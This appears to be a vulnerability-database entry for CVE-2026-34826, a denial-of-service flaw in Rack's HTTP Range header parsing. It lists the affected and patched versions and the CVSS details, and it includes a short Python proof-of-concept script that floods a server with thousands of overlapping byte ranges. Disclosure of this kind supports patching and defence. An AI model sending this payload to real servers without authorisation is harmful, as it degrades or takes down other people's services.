Security Vulnerability Report
中文
CVE-2026-34826 CVSS 5.3 MEDIUM

CVE-2026-34826

Published: 2026-04-02 17:16:26
Last Modified: 2026-04-16 17:09:16

Description

Rack is a modular Ruby web server interface. Prior to versions 2.2.23, 3.1.21, and 3.2.6, Rack::Utils.get_byte_ranges parses the HTTP Range header without limiting the number of individual byte ranges. Although the existing fix for CVE-2024-26141 rejects ranges whose total byte coverage exceeds the file size, it does not restrict the count of ranges. An attacker can supply many small overlapping ranges such as 0-0,0-0,0-0,... to trigger disproportionate CPU, memory, I/O, and bandwidth consumption per request. This results in a denial of service condition in Rack file-serving paths that process multipart byte range responses. This issue has been patched in versions 2.2.23, 3.1.21, and 3.2.6.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
Rack < 2.2.23
Rack >= 3.0.0, < 3.1.21
Rack >= 3.2.0, < 3.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(url): """ PoC for CVE-2026-34826 Sends a request with a large number of overlapping byte ranges to trigger DoS. """ target_url = f"{url}/path/to/file" # Replace with actual file path # Construct a malicious Range header with many overlapping small ranges # Example: 0-0,0-0,0-0... num_ranges = 10000 malicious_range = ",".join(["0-0"] * num_ranges) headers = { "Range": f"bytes={malicious_range}" } try: print(f"Sending request with {num_ranges} ranges to {target_url}...") response = requests.get(target_url, headers=headers, timeout=10) print(f"Response Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") except requests.exceptions.Timeout: print("Request timed out - Potential DoS triggered.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with target exploit_poc(target)

References

Raw JSON Data

JSON
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